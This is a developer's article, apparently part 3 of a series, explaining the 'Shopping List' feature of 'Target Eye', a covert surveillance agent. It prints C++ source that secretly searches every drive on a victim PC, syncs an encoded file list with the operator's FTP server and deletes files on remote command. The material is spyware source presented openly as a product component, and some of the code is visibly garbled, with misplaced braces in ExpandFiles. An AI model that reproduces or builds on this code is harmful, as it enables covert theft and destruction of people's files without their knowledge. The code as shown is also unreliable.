Target Eye Revealed part 3 - The Shopping List Mechanism

will delete all Word documents with the string "spy" as part of their names.  

Shopping List Mechanism  -Shopping List Query  

This is where a list of initial queries is entered. You can enter a number of queries, one after the other. 

Shopping List Mechanism  - Encrypt Shopping List on the Server 

When this checkbox is checked, the Shopping List file will be encrypted on the Server. When it is unchecked, it is possible to use the Explorer to modify and edit this file on the fly, while getting faster results from the Secret Agent. For example: adding a new query. When the file is encrypted, the Target Eye Decryptor tool is required to make any changes. 

Shopping List Mechanism  - Ignore Files Larger Than 

When this checkbox is checked, the amount of MB indicated bellow, are the higher limit of files that will be sent to the Server. Files which are larger than that size will be ignored.  

Shopping List related settings 

The Target Eye had a Compiler that was used along the evolution of the application to customize the "Secret Agent' part based on predefined and dynamically changed settings.

In the earlier versions the Compiler looked like this: 

and the part related to the Shopping List looked like this:

This part was enhanced and the 2007 version

looked like this:

Performing Fast Files Searches 

While developing Target Eye I checked many methods for performing mass searching in a computer. The purpose was to find a way to search for thousand of files in seconds, scanning all drive letters, and building a list of results.

The FindFile class by Louka Dlagnekov seems to be an excellent solution. It works really fast and is reliable. I have enhanced it to filter the search queries for the last file access data (for example, searching for all .doc files from the last 30 days, was done using the query:

[Q] -d30 *.doc 

Unless specified otherwise, and due to the nature of Target Eye to gather information, a query is executed while searching all drive letters and all folders in the monitored PC.

Some Source Code 

The best way to explain the Shopping List mechanism is form bottom to top. So when we actually perform the search it looks like this:  

    FindFileOptions_t opts;               /
    opts.excludeDir = "*emulation*";
    opts.excludeFile = "";
    opts.recursive = true;
    opts.returnFolders = false;
    opts.terminateValue = NULL;	
    opts.days=q->Days;
    FindFile find(opts);
 

Now we call find.search. There are 2 possible calls, based on the top level settings (which will be explained as well):  

• Search at a specific location 
• Search everywhere

find.search(TRUE,WhatToSearch,WhereToSearch);

If we search everywhere, the call will like this: 

char drive[3];
strcpy(drive,"c:\\");
for (char dl='c';dl<='z';dl++)
{
     drive[0]=dl;
     find.search((dl=='c'),WhatToSearch,drive);
}

That way, we scan all drive letters.  At this point we collect the results:  

int nfiles = (int) find.filelist.size();
__int64 size = find.listsize;
for(i=0;i<(int) find.filelist.size();i++)
{
   string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
}  

fullname will now hold the result of the query.

nfiles contains the number of files found

size contains the size of the files found in total. That is important for a monitoring application as we need to know how much data we need to send to the operator.  

Managing the Shopping List

Now we can go one level above an examine the way the Shopping List was managed.

Before doing so, here are some terms used by Target Eye:

Target Eye Secret Agent - the covert part of the product that runs on the monitored computer

Target Eye Operator - the authority that operates the Secret Agent (for example: a Law Enforcement agency).

A Mission - a request to perform an action. There are many possible actions (for example, capturing the screen, as described in an other article of mine). Since the scope of this article is the Shopping List mechanism, the Mission that is associated with the Shopping List could be copy or delete a file. 

Target Eye Compiler - The tool that is used by the Target Eye Operator to customize a Secret Agent for performing specific tasks. 

The following code is taken form the 2004 version of Target Eye. This function is called only when there is no Shopping List already created. After the first time it is created, and from that moment, it will be updated as a result of 2 possible triggers: 

• Target Eye Secret Agent completes (or fails) in a mission. (client) 
• Target Eye operator adds or deletes a mission. (server) 

The first thing that is done is building the initial query. This query is built according to the settings defined in the Target Eye Compiler. The initial query can be a combination of several queries. For example: the query "*.doc;*.xls"  encapsulates two queries; "*.doc"  (all files ending with ".doc") and "*.xls" (all files ending with ".xls"). 

Shopping List Synchronization 

Before we bring the source code, I'd like to explain the idea behind the Shopping List synchronization.  Since the Shopping List can be updated by both the client (Target Eye Secret Agent) and the server (Target Eye operator), there is a process for synchronizing the changes, so the Secret Agent is being notified about any change made by the operator (for example: if the operator removes a mission to copy a certain file, this file will not be copied), and the operator is being notified of any changes made by the client, namely, being updated about the progress of fulfilling the list of missions given to the Secret Agent. Most of the Shopping List related routines contains a part where the local shopping list is updated (or created) and a part where the shopping list is synchronized so the changes apply to the server version.

TE_BuildInitQuery() 

This routine is called when there is no local shopping list yet and it should be built based on the settings defined by the operator.  

void TE_BuildInitQuery()
{
	int n;
	CString SearchQuery=Options.Query; // initial query is based on the settings
	InitSearch.RemoveAll(); // dynamic array is emptied
	n=SearchQuery.Find(";"); // queries are extracted from the query line
	while(n>0)
	{
		InitSearch.Add("[Q] "+SearchQuery.Left(n));
		if(SearchQuery.GetLength()<n+1)
			break;
		else
			SearchQuery=SearchQuery.Mid(n+1);
		n=SearchQuery.Find(";");
	}
	if(SearchQuery.GetLength()>3)
	{
		InitSearch.Add("[Q] "+SearchQuery);
	}
} 

void CreateDefShoppingList()
{
	FILE *fp;
	TE_BuildInitQuery();
	fp=fopen(LOCAL_FILELIST,"w"); // create local Shopping List
	if (fp)
	{
		for(int i=0;i<InitSearch.GetSize();i++)
		{
			CString temp=TE_Encode(InitSearch[i]);
			fprintf(fp,"%s\n",temp); // adds a query
		}
		fclose(fp);
	}

	TE_Send(TE_FILELIST,TRUE,FALSE); // sends to server
	TargetEyeFiles.AddFile(TE_FILELIST,1003,SEND_FILELIST); // maintain a list of files
}     

Expanding a query 

The last missing link in the explanation is the procedure of expanding a query into its results, while the results replace the query in the Shopping List. 

void ExpandFiles()
{
	CString Line;
	BOOL EmptyFile=TRUE;
	int DoTry=FTPRETRIES;
	char s[255];
	char OrigFileName[160];

	// ExpandFiles() opens the ShoppingList file from server

	strcpy(OrigFileName,LOCAL_FILELIST);
	CInternetFile *pFile;
	TryAgain:;
	try
	{
		pFile = FtpConn->OpenFile(FTP_FILELIST);	// open the file
	}
	catch (CInternetException* pEx)
	{
		// handle errors
		pEx->Delete();
		pFile=NULL;
		if(DoTry-- > 0) 
		{
			goto TryAgain;
		}
		if(!pFile)
		{
			if(DoTry-- > 0) 
			{
				goto TryAgain;
			}		return;
		}

		// read each line
		FILE *fp=fopen(OrigFileName,"w");
		while(-1)
		{
			DoTry=FTPRETRIES;
	TryAgain2:;
		try
		{
			if (!pFile || !(pFile->ReadString(Line))) 
			{
				break;
			}
		}
		catch (CInternetException* pEx)
		{
			if(DoTry-- > 0) 
			{
				goto TryAgain2;
			}
			return;
		}
		Line=TE_Decode(Line);
		if (Line.GetLength()==0)
		{
			break;
		}

		// start processing a line
		EmptyFile=FALSE;
		if(Line.Left(3)=="[D]")		// a request to delete a file
		{
			char FileToDelete[255];
			int result;
			strcpy(FileToDelete,Line.Mid(4));
			result=DeleteFile(FileToDelete);
			if(result)			// deletion was successful
				sprintf(s,"[X] /DEL %s",Line.Mid(4));
			else				// deletion has failed
				sprintf(s,"[!] /DEL %s",Line.Mid(4));
			fprintf(fp,"%s\n",TE_Encode(s));
		}
		else
		if(Line.Left(3)=="[Q]")	// a request to search for files based on a query
		{
			CStringArray result;
			TE_OpenQuery(Line,&result);	// run this query using the file search routines explained before
			if(result.GetUpperBound()>0)	// get the results
			{
				for (int i=0;i<result.GetUpperBound();i=i+2)// per each result. Results come in two lines
				{
					// add results to a local Shopping List file
					sprintf(s,"%s",result[i]);
					fprintf(fp,"%s\n",TE_Encode(s));
					sprintf(s,"%s",result[i+1]);
					fprintf(fp,"%s\n",TE_Encode(s));
				}					
			}
			else
			{
				// failed to run query
				sprintf(s,"[!] %s",Line.Mid(5));
				fprintf(fp,"%s\n",TE_Encode(s));
			}
		}
		else
		{
			// handle any other type of line
			fprintf(fp,"%s\n",TE_Encode(Line));
		}
		}
	fclose(fp);
	pFile->Close();
} 

At this stage the local Shopping List is synced with the server.  

TE_OpenQuery 

The TE_OpenQuery is another building block that is used for actually calling the files search class. The result of a query is added to the Shopping List in two lines: 

1. The file found marked as a file yet to be copied. For example: "[ ] result.doc" 
2. Additional Information such as date, size, etc. 

BOOL TE_OpenQuery(CString Line,CStringArray *result)
{
	char Q1[80];
	long Days=-1;
	CString QQ,Where="";
	// first we handle the "-s" switch which instructs searching in a specific place, 
	// as opposed to scanning all driver letters and all folders under it
	if(Line.Mid(4,2)=="-s")
	{
		if(Line.Mid(6,1)=='\'')
		{
			QQ=Line.Mid(7);
			int c=QQ.Find('\'');
			if (c>0) 
			{
				Where=QQ.Left(c);
				QQ=QQ.Mid(c+2);
			}
		}
		else
		{
			QQ=Line.Mid(6);
			int c=QQ.Find(' ');
			if (c>0) 
			{
				Where=QQ.Left(c);
				QQ=QQ.Mid(c+1);
			}
		}
		Line=Line.Left(4)+QQ;
	}
	// Then we handle the '-d' switch which is used to filter
	// the files found to the ones with N days old 
	// (for exmaple: -d40 means 40 days old)
	if(Line.Mid(4,2)=="-d")
	{
		//opts.days=atol(Line.Mid(8,2))
		QQ=Line.Mid(6);
		int c=QQ.Find(' ');
		if (c>0) 
		{
			Days=atol(QQ.Left(c));
			QQ=QQ.Mid(c+1);
		}
		strcpy(Q1,QQ);
	}
	else
		strcpy(Q1,Line.Mid(4));
	// Call the FindFile class
	FindFileOptions_t opts;
	opts.excludeDir = "";
	opts.days=Days;
	opts.recursive = true;
	opts.returnFolders = false;
	opts.terminateValue = NULL;
	opts.excludeFile = "*.exe";
	FindFile find(opts);
	if(Where!="")
	{
		if(Where.Right(1)!='\\') Where+='\\';
		find.search(TRUE,Q1,Where.GetBuffer(1),Days);
	}
	else
	{
		// Scan all drive letters
		for(int i='c';i<'z';i++)
		{
			char dr[5]="c:\\";
			dr[0]=i;
			find.search((i=='c'),Q1,dr,Days);
		}
	}
		
	int nfiles = (int) find.filelist.size();
	__int64 size = find.listsize;	
	// number of files found are stored in : nfiles
	// size of files found is stored in : size 
	// Local Shopping List is kept in LOCAL_FILELIST);
	if(find.filelist.size())
	{
		for(int i=0;i<(int)find.filelist.size();i++)
		{
			char s[1024];
			string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
			sprintf(s,"[ ] %s",fullname.c_str());
			result->Add(TE_Encode(s));
			sprintf(s,"'Date: %s Length = %ld",find.filelist[i].date.c_str(),find.filelist[i].filesize / 1024);
			result->Add(TE_Encode(s));
		}
		return(TRUE);
	}
	else
		return(FALSE);
}